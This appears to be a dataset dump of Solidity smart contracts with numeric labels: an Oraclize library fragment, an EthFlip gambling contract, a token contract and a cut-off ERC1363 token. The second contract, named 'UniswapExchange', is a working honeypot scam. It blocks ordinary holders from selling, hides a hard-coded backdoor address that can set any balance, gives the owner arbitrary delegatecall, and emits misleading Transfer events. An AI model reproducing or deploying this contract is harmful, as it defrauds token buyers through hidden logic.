}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract EthFlip is usingOraclize {
struct Bet {
bool win;
uint betValue;
uint timestamp;
address playerAddress;
uint randomNumber;
}
struct Player {
uint[] betNumbers;
}
struct QueryMap {
uint betValue;
address playerAddress;
}
bool private gamePaused;
uint private minBet;
uint private maxBet;
uint private houseFee;
uint private oraclizeGas;
uint private oraclizeGasPrice;
address private owner;
uint private currentQueryId;
uint private currentBetNumber;
uint private totalPayouts;
uint private totalWins;
uint private totalLosses;
bool private win;
uint private randomNumber;
mapping (address => Player) private playerBetNumbers;
mapping (uint => Bet) private pastBets;
mapping (uint => QueryMap) private queryIdMap;
event BetComplete(bool _win, uint _betNumber, uint _betValue, uint _timestamp, address _playerAddress, uint _randomNumber);
event GameStatusUpdate(bool _paused);
event MinBetUpdate(uint _newMin);
event MaxBetUpdate(uint _newMax);
event HouseFeeUpdate(uint _newFee);
event OwnerUpdate(address _newOwner);
modifier gameIsActive {
require(!gamePaused);
_;
}
modifier gameIsNotActive {
require(gamePaused);
_;
}
modifier senderIsOwner {
require(msg.sender == owner);
_;
}
modifier senderIsOraclize {
require(msg.sender == oraclize_cbAddress());
_;
}
modifier sentEnoughForBet {
require(msg.value >= minBet);
_;
}
modifier didNotSendOverMaxBet {
require(msg.value <= maxBet);
_;
}
function EthFlip() public {
minBet = 100000000000000000;
maxBet = 500000000000000000;
houseFee = 29;
oraclizeGas = 500000;
oraclizeGasPrice = 3010000000;
oraclize_setCustomGasPrice(oraclizeGasPrice);
oraclize_setProof(proofType_Ledger);
owner = msg.sender;
totalPayouts = 1728380000000000000;
totalWins = 10;
totalLosses = 15;
}
function() public payable {}
function placeBet() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet {
secureGenerateNumber(msg.sender, msg.value);
}
function secureGenerateNumber(address _playerAddress, uint _betValue) private {
bytes32 queryId = oraclize_newRandomDSQuery(0, 1, oraclizeGas);
uint convertedId = uint(keccak256(queryId));
queryIdMap[convertedId].betValue = _betValue;
queryIdMap[convertedId].playerAddress = _playerAddress;
}
function checkIfWon() private {
if (randomNumber != 101) {
if (randomNumber <= 50) {
win = true;
sendPayout(subtractHouseFee(queryIdMap[currentQueryId].betValue*2));
} else {
win = false;
sendOneWei();
}
} else {
win = false;
sendRefund();
}
logBet();
}
function sendPayout(uint _amountToPayout) private {
uint payout = _amountToPayout;
_amountToPayout = 0;
queryIdMap[currentQueryId].playerAddress.transfer(payout);
}
function sendOneWei() private {
queryIdMap[currentQueryId].playerAddress.transfer(1);
}
function sendRefund() private {
queryIdMap[currentQueryId].playerAddress.transfer(queryIdMap[currentQueryId].betValue);
}
function subtractHouseFee(uint _amount) view private returns (uint _result) {
return (_amount*(1000-houseFee))/1000;
}
function logBet() private {
currentBetNumber++;
if (win) {
totalWins++;
totalPayouts += subtractHouseFee(queryIdMap[currentQueryId].betValue*2);
} else {
if (randomNumber != 101) {
totalLosses++;
}
}
pastBets[currentBetNumber] = Bet({win:win, betValue:queryIdMap[currentQueryId].betValue, timestamp:block.timestamp, playerAddress:queryIdMap[currentQueryId].playerAddress, randomNumber:randomNumber});
playerBetNumbers[queryIdMap[currentQueryId].playerAddress].betNumbers.push(currentBetNumber);
BetComplete(win, currentBetNumber, queryIdMap[currentQueryId].betValue, block.timestamp, queryIdMap[currentQueryId].playerAddress, randomNumber);
queryIdMap[currentQueryId].betValue = 0;
}
function getLastBetNumber() constant public returns (uint) {
return currentBetNumber;
}
function getTotalPayouts() constant public returns (uint) {
return totalPayouts;
}
function getTotalWins() constant public returns (uint) {
return totalWins;
}
function getTotalLosses() constant public returns (uint) {
return totalLosses;
}
function getBalance() constant public returns (uint) {
return this.balance;
}
function getGamePaused() constant public returns (bool) {
return gamePaused;
}
function getMinBet() constant public returns (uint) {
return minBet;
}
function getMaxBet() constant public returns (uint) {
return maxBet;
}
function getHouseFee() constant public returns (uint) {
return houseFee;
}
function getOraclizeGas() constant public returns (uint) {
return oraclizeGas;
}
function getOraclizeGasPrice() constant public returns (uint) {
return oraclizeGasPrice;
}
function getOwnerAddress() constant public returns (address) {
return owner;
}
function getPlayerBetNumbers(address _playerAddress) constant public returns (uint[] _betNumbers) {
return (playerBetNumbers[_playerAddress].betNumbers);
}
function getPastBet(uint _betNumber) constant public returns (bool _win, uint _betValue, uint _timestamp, address _playerAddress, uint _randomNumber) {
require(currentBetNumber >= _betNumber);
return (pastBets[_betNumber].win, pastBets[_betNumber].betValue, pastBets[_betNumber].timestamp, pastBets[_betNumber].playerAddress, pastBets[_betNumber].randomNumber);
}
function pauseGame() public senderIsOwner gameIsActive {
gamePaused = true;
GameStatusUpdate(true);
}
function resumeGame() public senderIsOwner gameIsNotActive {
gamePaused = false;
GameStatusUpdate(false);
}
function setMaxBet(uint _newMax) public senderIsOwner gameIsNotActive {
require(_newMax >= 100000000000000000);
maxBet = _newMax;
MaxBetUpdate(_newMax);
}
function setMinBet(uint _newMin) public senderIsOwner gameIsNotActive {
require(_newMin >= 100000000000000000);
minBet = _newMin;
MinBetUpdate(_newMin);
}
function setHouseFee(uint _newFee) public senderIsOwner gameIsNotActive {
require(_newFee <= 100);
houseFee = _newFee;
HouseFeeUpdate(_newFee);
}
function setOraclizeGas(uint _newGas) public senderIsOwner gameIsNotActive {
oraclizeGas = _newGas;
}
function setOraclizeGasPrice(uint _newPrice) public senderIsOwner gameIsNotActive {
oraclizeGasPrice = _newPrice + 10000000;
oraclize_setCustomGasPrice(oraclizeGasPrice);
}
function setOwner(address _newOwner) public senderIsOwner gameIsNotActive {
owner = _newOwner;
OwnerUpdate(_newOwner);
}
function selfDestruct() public senderIsOwner gameIsNotActive {
selfdestruct(owner);
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public senderIsOraclize {
currentQueryId = uint(keccak256(_queryId));
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0) {
randomNumber = (uint(keccak256(_result)) % 100) + 1;
} else {
randomNumber = 101;
}
if (queryIdMap[currentQueryId].betValue != 0) {
checkIfWon();
}
}
} | 0 | 546 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,449 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract RBACMintableToken is MintableToken, RBAC {
string public constant ROLE_MINTER = "minter";
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC1363 is ERC20, ERC165 {
function transferAndCall(address _to, uint256 _value) public returns (bool);
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
function approveAndCall(address _spender, uint256 _value) public returns (bool);
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool);
}
contract ERC1363Receiver {
function onTransferReceived(address _operator, address _from, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363Spender {
function onApprovalReceived(address _owner, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363BasicToken is SupportsInterfaceWithLookup, StandardToken, ERC1363 {
using AddressUtils for address;
bytes4 internal constant InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant InterfaceId_ERC1363Approve = 0xfb9ec8ce;
bytes4 private constant ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(InterfaceId_ERC1363Transfer);
_registerInterface(InterfaceId_ERC1363Approve);
}
function transferAndCall(
address _to,
uint256 _value
)
public
returns (bool)
{
return transferAndCall(_to, _value, "");
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transfer(_to, _value));
require(
checkAndCallTransfer(
msg.sender,
_to,
_value,
_data
)
);
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
return transferFromAndCall(_from, _to, _value, "");
}
